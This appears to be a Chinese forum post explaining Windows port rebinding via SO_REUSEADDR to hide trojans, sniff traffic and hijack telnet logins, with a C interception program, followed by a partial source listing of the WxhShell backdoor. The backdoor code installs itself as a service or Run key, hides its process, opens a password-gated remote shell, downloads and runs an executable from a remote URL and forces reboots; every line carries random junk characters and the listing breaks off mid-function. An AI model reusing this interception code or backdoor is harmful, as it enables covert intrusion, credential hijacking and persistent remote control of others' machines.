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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2-=\~<)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e{X6i^% m_  
K`/`|1  
  saddr.sin_family = AF_INET; $&$w Y/F  
|} {B1A  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z\0 CE]#T  
: p{+G  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,ldI2 ]  
[,K.*ZQi  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 CT KG9 T  
VOc8q-hK  
  这意味着什么?意味着可以进行如下的攻击: <&&SX;  
#6AFdNy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j [rB"N`0  
|,#t^'S!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) rsF\JQk  
J4"mK1N(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -+7uy.@cS  
VtzI9CD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  vKq^D(&cl  
|o2sbLp  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7_.11$E=H  
,g7.rEA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +2K:qvzZ  
UOGuqV-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :l2g#* c  
M t*6}Cl  
  #include _* IPk  
  #include qw7@(R'"  
  #include #l4)HV  
  #include    Kx. X7R  
  DWORD WINAPI ClientThread(LPVOID lpParam);   MZpK~c1`  
  int main() Mmo6MZ^  
  { Q\GDrdA  
  WORD wVersionRequested; yfj K2  
  DWORD ret; &K43x&mFF  
  WSADATA wsaData; uQ=^~K:Z~  
  BOOL val; ]c<qM_HWg  
  SOCKADDR_IN saddr; ew;ur?  
  SOCKADDR_IN scaddr; ]J* ,g,  
  int err; -D N8Yb  
  SOCKET s; cFN'bftH4  
  SOCKET sc; dWX stb:[  
  int caddsize; cXR1grz  
  HANDLE mt; Q~MC7-n>  
  DWORD tid;   Q.9qImgN  
  wVersionRequested = MAKEWORD( 2, 2 ); 5GA\xM-  
  err = WSAStartup( wVersionRequested, &wsaData ); {ekCQeDo  
  if ( err != 0 ) { nI/kw%<  
  printf("error!WSAStartup failed!\n"); 3#vinz  
  return -1; CW)Z[<d8  
  } ~%/Wupf  
  saddr.sin_family = AF_INET; mCs#.%dU  
   :LWn<,4F&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 RbGJ)K!  
9prU+9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); SFb{o <0 =  
  saddr.sin_port = htons(23); rUlS'L;$"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Cv>o.Bp|  
  { iweD @b  
  printf("error!socket failed!\n"); .fi/I  
  return -1; CvPioi  
  } B aO1/zk  
  val = TRUE; Tzt,/e  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [L6w1b,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) T/c<23i  
  { !Oj)B1gc6&  
  printf("error!setsockopt failed!\n"); F$Ca;cP"  
  return -1; 3;7q`  
  } dLvJh#`o  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; lJzl6&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tM,%^){p$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ' JdkUhq1V  
9Ew7A(BG_3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [xfaj'j=@  
  { ewuXpv%vwW  
  ret=GetLastError(); ~1*A  
  printf("error!bind failed!\n"); !mRx$ %ul  
  return -1; Uu"0rUzt  
  } Q \]Xm>  
  listen(s,2); 5tv<8~:K  
  while(1) uNHdpni  
  { z305{B:Y  
  caddsize = sizeof(scaddr); <]Wlx`=/D  
  //接受连接请求 _ 1*7Z=|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1AHx"e,;L  
  if(sc!=INVALID_SOCKET) g7CXlT0Q6  
  { W%e_~$H0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?\/qeGW6G  
  if(mt==NULL) 1^dJg8  
  { _TUt9}  
  printf("Thread Creat Failed!\n"); 16X@^j_   
  break; mmEp'E  
  } Q}*y$se!  
  } w?mEuXc  
  CloseHandle(mt); K'1~^)*  
  } F_ 7H!F  
  closesocket(s); "BVdPSDBk  
  WSACleanup(); xM s]Hs  
  return 0; /u`3VOn  
  }   TFR( 4W  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9Bdt(}0A  
  { E2AW7f(/  
  SOCKET ss = (SOCKET)lpParam; $ P: O/O=>  
  SOCKET sc; ukuo:P<a  
  unsigned char buf[4096]; Jqr)V2Y  
  SOCKADDR_IN saddr; bm}6{28R  
  long num; ~%ozgzr^  
  DWORD val; U>S`k6  
  DWORD ret; 7OVbP%n)d2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 I,ci >/+b  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _2hXa!yO  
  saddr.sin_family = AF_INET; PfG`C5 d  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,WWj-X|+=  
  saddr.sin_port = htons(23); ]lS@}W\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P2 0|RvE  
  { k_GP> b\"k  
  printf("error!socket failed!\n"); yPu4T6Vv  
  return -1; ( 0Naf  
  } J?n<ydZSH  
  val = 100; Zt@Z=r:&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Gzt=u"FV  
  { f+Dn9t  
  ret = GetLastError(); w7-WUvxl  
  return -1; XD-^w_  
  } ] c}91  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JmOW~W  
  { 5IqQ|/m<6  
  ret = GetLastError(); fT Y/4(  
  return -1; !q4x~G0d  
  } % do1i W  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) h4fLl3%H  
  { \k.vN@K#  
  printf("error!socket connect failed!\n"); LD(C\  
  closesocket(sc); V/"}ku  
  closesocket(ss); $v} <'  
  return -1; cs_}&!c{  
  } $_j1kx$  
  while(1) y/_wx(2  
  { qJ8-9^E,L  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 oP,9#FC|(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 t7F.[uWD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !0 Q8iW:  
  num = recv(ss,buf,4096,0); > %*B`oqo  
  if(num>0) Vm8D"I5i  
  send(sc,buf,num,0); lQ*eH10H  
  else if(num==0) dEp/dd~(&  
  break; Jm(ixekp  
  num = recv(sc,buf,4096,0); . p^xS6e{  
  if(num>0) A8?[6^%O|  
  send(ss,buf,num,0); yu&Kh4AP  
  else if(num==0) 8SnS~._9  
  break; .Gb+\E{M  
  } *j*Du+  
  closesocket(ss); 45}v^|Je\  
  closesocket(sc);  s&*yk p  
  return 0 ; BIWD/ |LQ  
  } b;9n'UX\  
:kw0y  
O|v (5 8A  
========================================================== rhY_|bi4P  
K5ZnS`c;  
下边附上一个代码,,WXhSHELL K%{ad1$c  
"S(X[Y'  
========================================================== Q!CO0w  
Ly (P=M>"y  
#include "stdafx.h" w;yx<1f  
R Td^ImV  
#include <stdio.h> ZL%VOxYqi  
#include <string.h> 6 ,N6jaW  
#include <windows.h> M%=P)cC  
#include <winsock2.h> p/|(,)'+jx  
#include <winsvc.h> 3n(*E_n  
#include <urlmon.h> t]m!ee8*X<  
pZ+j[!  
#pragma comment (lib, "Ws2_32.lib") T$b\Q  
#pragma comment (lib, "urlmon.lib") D6=HYqdj  
<jd/t19DB  
#define MAX_USER   100 // 最大客户端连接数 Uh6mGL z*&  
#define BUF_SOCK   200 // sock buffer c%<2z  
#define KEY_BUFF   255 // 输入 buffer o+)A'S  
/)1v9<vM"  
#define REBOOT     0   // 重启 yMIT(  
#define SHUTDOWN   1   // 关机 =Nl5{qYz^&  
kEK[\f VE  
#define DEF_PORT   5000 // 监听端口 ."JzDs   
B 1w0cS%%:  
#define REG_LEN     16   // 注册表键长度 !Q[}s #g  
#define SVC_LEN     80   // NT服务名长度 SWoEt1w  
bf98B4<  
// 从dll定义API -h\@RC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'yT`ef  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :{CFTc5:A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ag]*DsBt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \8_V(lU   
ABWb>EZ8  
// wxhshell配置信息 J'7 y   
struct WSCFG { +>E5X4JC  
  int ws_port;         // 监听端口 !d4HN.a7+u  
  char ws_passstr[REG_LEN]; // 口令 T8q[7Zn  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8xo;E=`   
  char ws_regname[REG_LEN]; // 注册表键名 $,`VUe{  
  char ws_svcname[REG_LEN]; // 服务名 my[,w$YM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'jbMTI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $5/\Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >)%#V<{<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7&t~R}&|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &|,s{?z2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %<S7  
5`UJouHi  
}; ;qVG \wQq  
T5{T[YdX<  
// default Wxhshell configuration R"Y?iZed3  
struct WSCFG wscfg={DEF_PORT, jlRS:$|R0  
    "xuhuanlingzhe", ||gEs/6-  
    1, vU9~[I`^p  
    "Wxhshell", }wkaQQh  
    "Wxhshell", -,@bA @&  
            "WxhShell Service", W%zmD Hk~  
    "Wrsky Windows CmdShell Service", %QE5<2k  
    "Please Input Your Password: ", 8 DL hk  
  1, )v-Cj_W5]"  
  "http://www.wrsky.com/wxhshell.exe", x#o?>5Qg?  
  "Wxhshell.exe" x?>!UqgkY  
    }; P7Z<0Dt\}  
T:)% P6/  
// 消息定义模块 yr{5Rp05=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RR'(9QJ$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E~69^ cd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )ys=+Pz  
char *msg_ws_ext="\n\rExit."; p9w%kM?  
char *msg_ws_end="\n\rQuit."; l) iv\j  
char *msg_ws_boot="\n\rReboot..."; %30T{n:  
char *msg_ws_poff="\n\rShutdown..."; I W8.  
char *msg_ws_down="\n\rSave to "; g?$e^ls  
MyM+C}  
char *msg_ws_err="\n\rErr!"; 7n<#y;wo  
char *msg_ws_ok="\n\rOK!"; +QQ YPEx+  
G/%Ubi6%  
char ExeFile[MAX_PATH]; IE@ z@+\(  
int nUser = 0; I-,Xwj-  
HANDLE handles[MAX_USER]; I<9n(rA  
int OsIsNt; ){jqfkL  
J(&Gmk9&  
SERVICE_STATUS       serviceStatus; S].Ft/+H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !}j,TPpG  
"h`54 }0  
// 函数声明 # s,Y% Bce  
int Install(void); _p$"NNFN  
int Uninstall(void); HcDyD0;L.  
int DownloadFile(char *sURL, SOCKET wsh); "sSjVu  
int Boot(int flag); S--/<a2  
void HideProc(void); K#iK6)tS  
int GetOsVer(void); JgxA^>|9;  
int Wxhshell(SOCKET wsl); VEr 6uvB  
void TalkWithClient(void *cs); j& <tdORT  
int CmdShell(SOCKET sock); d{iL?>'?^  
int StartFromService(void); +H?<}N*T  
int StartWxhshell(LPSTR lpCmdLine);  }Olr  
Qlf 9]ug)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SAQs {M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Kyyih|{  
3[,wMy"  
// 数据结构和表定义 lJ("6aT?  
SERVICE_TABLE_ENTRY DispatchTable[] = 4*YOFU}l  
{ 1Q0%7zRirI  
{wscfg.ws_svcname, NTServiceMain}, k62$:9`5  
{NULL, NULL} QR|XV%$  
}; %f>X-*}NI-  
2z[r@}3  
// 自我安装 p"g1V7B  
int Install(void) D8q3TyCj%  
{ Rd .U;>  
  char svExeFile[MAX_PATH]; ;K>{_k f  
  HKEY key; )A"ZV[eOoQ  
  strcpy(svExeFile,ExeFile); XX*'N+  
b1eK(F  
// 如果是win9x系统,修改注册表设为自启动 ]VzqQ=U%  
if(!OsIsNt) { p6B .s_G4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #?L(#a$k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (QA-"9v#i,  
  RegCloseKey(key); B#| Z`mZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :Pj W:]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $^!a`Xr  
  RegCloseKey(key); u'#`yTB6b  
  return 0; uDpf2(>s  
    } %H 8A=  
  } |E"Xavi>  
} }g%KvYB_  
else { E~rs11  
:5$xh  
// 如果是NT以上系统,安装为系统服务 )[e%wPu4e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v; je<DT  
if (schSCManager!=0) y21)~  
{ L7i}Ga!8  
  SC_HANDLE schService = CreateService ?"5~Wwp.T  
  ( 8=lHUn9l  
  schSCManager, \.K\YAM<  
  wscfg.ws_svcname, eL]{#WL  
  wscfg.ws_svcdisp, RPz!UMQSD  
  SERVICE_ALL_ACCESS, h9tB''ePE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oV%( 37W9=  
  SERVICE_AUTO_START, =)mXCA^  
  SERVICE_ERROR_NORMAL, ?Ry%c6(}  
  svExeFile, ?ZSXoy-kr  
  NULL, <O <'1uO,  
  NULL, 6ctHL<^  
  NULL, a7XXhsZ  
  NULL, Xtu:  
  NULL /%N31   
  ); ws*~$x?7  
  if (schService!=0) Z/XM `Cy  
  { (#f m (@T  
  CloseServiceHandle(schService); \O8Y3|<  
  CloseServiceHandle(schSCManager); ?Zc/upd:$N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >reaIBT  
  strcat(svExeFile,wscfg.ws_svcname); B FzcoBu-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c n\k`8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f_Wkg)g  
  RegCloseKey(key); cq'}2pob  
  return 0; [ HC8-N^.}  
    } 6Tm Rc  
  } \;3B?8wbIl  
  CloseServiceHandle(schSCManager);  ;'2`M  
} hLDch5J5~  
} c+,7Zu!  
CT$& zEIm  
return 1; wGov|[X  
} 1YF+(fk  
?.rH;:9To  
// 自我卸载 ,7n;|1`  
int Uninstall(void) }}4 sh5z  
{ 4yJ*85e]  
  HKEY key; (T>?8 K _d  
>?\v@   
if(!OsIsNt) { $UFge%`,q@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { reqfgNg  
  RegDeleteValue(key,wscfg.ws_regname); X/- W8  
  RegCloseKey(key); fD3jwPL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,ZzB#\  
  RegDeleteValue(key,wscfg.ws_regname); )vEHLp.  
  RegCloseKey(key); Y|GJp h  
  return 0; |Ak =-.  
  } 4~m.#6MT  
} /pAm8vK   
} J1gEjd   
else { AHp830\  
:{TmR3.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lRa 3v Ng  
if (schSCManager!=0) c&| '3i+  
{ ei+9G,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q 2_N90u  
  if (schService!=0) 7\\~xSXh  
  { ex@,F,u>o  
  if(DeleteService(schService)!=0) { A4 A6F<  
  CloseServiceHandle(schService); ] dm1Qm  
  CloseServiceHandle(schSCManager); 5v Uz  
  return 0; 3$96+A^M*  
  } > hDsm;,/  
  CloseServiceHandle(schService); K#JabT  
  }  BdE`p{  
  CloseServiceHandle(schSCManager); cKi^C  
} p,[XT`q^  
} (^s&M  
m p|20`go  
return 1; /A[oj2un  
} ')~Y  
#TW>'l F  
// 从指定url下载文件 q5'yD;[hE  
int DownloadFile(char *sURL, SOCKET wsh) `lu"yF  
{ +s/N@]5nW  
  HRESULT hr; sw=JUfAhy  
char seps[]= "/";  s>*Q  
char *token; c5wkzY h  
char *file; "&~?Hzm  
char myURL[MAX_PATH]; 5Sm5jRr  
char myFILE[MAX_PATH]; Tjeo*n^  
|;U}'|6  
strcpy(myURL,sURL); #^4>U&?  
  token=strtok(myURL,seps); MW",r;l<aM  
  while(token!=NULL) #2lvfR|  
  { fbzKO^Ub  
    file=token; UpszCY4  
  token=strtok(NULL,seps); R+kZLOE  
  } j J`Zz  
.5KC'?  
GetCurrentDirectory(MAX_PATH,myFILE); xM'S ;Sg  
strcat(myFILE, "\\"); N?2 #YTjR  
strcat(myFILE, file); evg 7d  
  send(wsh,myFILE,strlen(myFILE),0); 4U! .UNi  
send(wsh,"...",3,0); z|DA _dG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8[`^(O#\E  
  if(hr==S_OK) +/~\b/  
return 0; ].<sAmL^  
else #<tWYE  
return 1; jL7MmR#y5"  
S$lmEJ_  
} <igx[2X  
fw:^Lyn9$  
// 系统电源模块 \@}$Wjsl  
int Boot(int flag) O)RzNfI^`N  
{ 4xAlaOw5M  
  HANDLE hToken; TOPPa?=vk  
  TOKEN_PRIVILEGES tkp; F~Z 0  
[K)1!KK,L  
  if(OsIsNt) { R26tQbwE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "$V8y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &x0TnW"g  
    tkp.PrivilegeCount = 1; ?CT^Zegmr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PkCeV]`w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ssr)f8R#,#  
if(flag==REBOOT) { CI~;B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SJ~I r#  
  return 0; = @Nv:1:r  
} b~haP.Cl :  
else { /c$Ht  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _#YHc[Wz  
  return 0; q5\LdI2  
} :oj) eS[Y  
  } L(1,W<kYg  
  else { kX ,FQG>  
if(flag==REBOOT) { CN$A-sjZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M9 2~iM  
  return 0; J! 6z  
} |b-Zy~6  
else { ad$Qs3)6o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P15 *VPy  
  return 0; *liPJ29C[  
} 0h@%q;g  
} 0)`lx9&h  
#Hn yE+tD  
return 1; +&N&D"9A  
} 2gD{Fgf@N  
Bc|x:#`C\{  
// win9x进程隐藏模块 :56lzsWUE<  
void HideProc(void) 6 pn@`UK  
{ N;ecT@U g  
<<2b2?a S`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >KClH'R2  
  if ( hKernel != NULL ) >ya-  
  { *r?51*J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,^IZ[D>u)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HlL@{<  
    FreeLibrary(hKernel); 2-E71-J  
  } @x F8' [<  
dYqDL<se/I  
return;  hL{B9?  
} vK.4JOlRF  
  [aS)<^  
// 获取操作系统版本 -L'K  
int GetOsVer(void) ~Yz/t  
{ NdSxWrD`m  
  OSVERSIONINFO winfo; '5,,XhP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {kRC!}  
  GetVersionEx(&winfo); e "adkV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z8dN0AqZ  
  return 1; ]>4Qs  
  else :XQ  
  return 0; 'lRHdD}s  
} _TN$c  
&|{,4V0%A  
// 客户端句柄模块 c+)|o!d  
int Wxhshell(SOCKET wsl) .sR&9FH  
{ D_ZBx+/_?  
  SOCKET wsh; S,tVOxs^  
  struct sockaddr_in client; 8m[L]6F(-z  
  DWORD myID; s=~7m.m  
MJ"Mn^:/  
  while(nUser<MAX_USER) *,[=}v1  
{ "!/_h >  
  int nSize=sizeof(client); re7\nZ<\|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iM/0Yp-v'>  
  if(wsh==INVALID_SOCKET) return 1; Nt^&YE7d:  
hic$13KuP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^%X\ }><  
if(handles[nUser]==0) 8(f0|@x^  
  closesocket(wsh); e/Oj T  
else kt3#_d^El  
  nUser++; <$ZT]pT  
  } G~tOCp="p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^oB1 &G  
1&pP}v ?  
  return 0; |M/ \'pOe  
} PZhZK VZx  
OK J%M]<  
// 关闭 socket JHZo:Ad -&  
void CloseIt(SOCKET wsh) ;_\  
{ pbvEIa-Y4  
closesocket(wsh); 5)v^ cR?&  
nUser--; e&4wwP"`<  
ExitThread(0); Qn3+bF4  
} ;,})VoC\!  
r~2@#gTbl  
// 客户端请求句柄 ZznWs+  
void TalkWithClient(void *cs) 7%}3Ghc%  
{ DJ [#H  
f EiEfu  
  SOCKET wsh=(SOCKET)cs; +;iesULXn  
  char pwd[SVC_LEN]; :(p rx   
  char cmd[KEY_BUFF]; :*+BBC  
char chr[1]; .F3LA6se  
int i,j; %1 ^jd\  
m.a1  
  while (nUser < MAX_USER) { 5a_!&  
*!Y3N<>!  
if(wscfg.ws_passstr) { d lLk4a+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !X <n:J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kpw4Mq@  
  //ZeroMemory(pwd,KEY_BUFF); W!B4< 'Fjc  
      i=0; Kcdd=2 [T  
  while(i<SVC_LEN) { S^VV^O5 ^  
a[cH@7W.#  
  // 设置超时 E=*Q\3G~  
  fd_set FdRead; X/7_mU>aKT  
  struct timeval TimeOut; 3M*[a~  
  FD_ZERO(&FdRead); wP1VQUL  
  FD_SET(wsh,&FdRead); CgKSK0/a  
  TimeOut.tv_sec=8; ?N*@o.  
  TimeOut.tv_usec=0; p2vUt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sx^? Iw,N'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;H r@0f  
OjEA;;qq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @VS5Mg8  
  pwd=chr[0]; knzED~ v@(  
  if(chr[0]==0xd || chr[0]==0xa) { 7 =*k@9  
  pwd=0; K$GXXE`  
  break; J+gsmP-_  
  } :{uUc  
  i++; RX\O'Zwlj  
    } @N{Ht)1r  
1O7ss_E  
  // 如果是非法用户,关闭 socket Q%1;{5   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T2;  9  
} WA5kX SdIb  
esFL<T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [eP]8G\ W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #7T={mh  
J5IJy3d  
while(1) { u.Yb#?  
X*"O'XCA  
  ZeroMemory(cmd,KEY_BUFF); X(z-?6N4  
L/LN X{|  
      // 自动支持客户端 telnet标准   l>?vjy65  
  j=0; DkKD~  
  while(j<KEY_BUFF) {  /?xn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {*$J&{6V  
  cmd[j]=chr[0]; HKw:fGt/o^  
  if(chr[0]==0xa || chr[0]==0xd) { F|Ihq^q  
  cmd[j]=0; HZ=yfJs nc  
  break; g|_*(=Q  
  } ?R:Hj=.  
  j++; ~At.V+  
    } 'oL[rO~j  
Li^!OHro.  
  // 下载文件 c6)zx b  
  if(strstr(cmd,"http://")) { kxwm08/|f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 97dI4 t<  
  if(DownloadFile(cmd,wsh)) YDD]n*&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K!gFD  
  else s7} )4.vO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -- FtFo  
  } ,peE'   
  else { Bys|i0tb-  
p'}%pAY  
    switch(cmd[0]) { 4344PBj  
  M?u)H&kEl  
  // 帮助 Sxu v}y\  
  case '?': { S]g)^f'a65  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); li P{Mu/LO  
    break; e,UgTxZ  
  } q~_jF$9SX  
  // 安装 i=QhX CM  
  case 'i': { iUBni&B  
    if(Install()) U.(_n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BIyG[y?qO  
    else o2jB~}VMl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '=* 5C{  
    break; Ft !~w#&-  
    } 59 Y=VS  
  // 卸载 ;gV8f{X{Z  
  case 'r': { H4Ek,m|c  
    if(Uninstall()) L1i> %5:g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )D*xOajo+l  
    else h--bN*}H2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HI 61rXNF  
    break; 7HFO-r118  
    } V'/%)oU\"  
  // 显示 wxhshell 所在路径 kyB]fmS  
  case 'p': { p~ItHwiT  
    char svExeFile[MAX_PATH]; 0u\@-np  
    strcpy(svExeFile,"\n\r"); v4aGL<SO  
      strcat(svExeFile,ExeFile); M6!brj\[|  
        send(wsh,svExeFile,strlen(svExeFile),0); 7^=jv~>wP  
    break; ,u2<()`8D  
    } p2^OQK  
  // 重启 )&-E@% \  
  case 'b': { RBwV+X[B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GXVGU-br  
    if(Boot(REBOOT)) >.4Sx~VH2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kzXW<V9  
    else { R FiR)G ,  
    closesocket(wsh); |-D.  
    ExitThread(0); N2J!7uoQ  
    } 2fB@zF  
    break; S5TT  
    } e?WR={  
  // 关机 u*`GIRfWT  
  case 'd': { 9t1_"{'N1  
